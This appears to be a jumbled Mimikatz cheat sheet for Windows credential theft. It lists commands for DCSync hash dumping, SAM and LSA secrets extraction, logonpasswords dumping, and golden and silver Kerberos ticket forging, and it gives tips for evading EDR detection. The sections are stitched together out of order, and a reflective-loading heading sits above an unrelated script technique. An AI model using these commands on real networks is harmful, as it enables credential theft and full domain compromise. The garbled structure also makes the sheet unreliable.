Mimikatz Cheatsheet May 2026

| Command | Result | | :--- | :--- | | lsadump::dcsync /user:Administrator | Get hash of a specific user without touching LSASS. | | lsadump::dcsync /all | Dump domain user hash. This is catastrophic for the blue team. | 4. Kerberos Attacks (Golden & Silver Tickets) | Command | Use Case | | :--- | :--- | | kerberos::golden /user:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /id:500 /ptt | Create a Golden Ticket (krbtgt hash required). Grants unlimited domain access . | | kerberos::golden /user:USER /domain:DOMAIN /sid:SID /target:TARGET /rc4:HASH /service:cifs /ptt | Create a Silver Ticket (service account hash required). | | kerberos::purge | Clear existing Kerberos tickets before injection. | Phase 3: Advanced Evasion & Living off the Land Because modern EDR kills mimikatz.exe , use these techniques: Technique A: Non-Exported Output # Log output to a file instead of printing to screen mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> C:\temp\log.txt Technique B: Reflective Loading (PowerShell) Load Mimikatz directly into memory without touching disk.

echo privilege::debug >> commands.txt echo sekurlsa::logonpasswords >> commands.txt echo exit >> commands.txt mimikatz.exe ""script:commands.txt"" If you are defending a network, you must assume Mimikatz will be used. mimikatz cheatsheet

| Command | Purpose | | :--- | :--- | | lsadump::sam | Dumps local SAM hashes (NTLM) from the registry. | | lsadump::sam /sam:FILE /system:FILE | Dump SAM from saved hive files (offline). | | lsadump::secrets | Dumps secrets from the SECURITY registry (e.g., cached domain logons). | Simulate a domain controller to request password hashes for any user. | Command | Result | | :--- |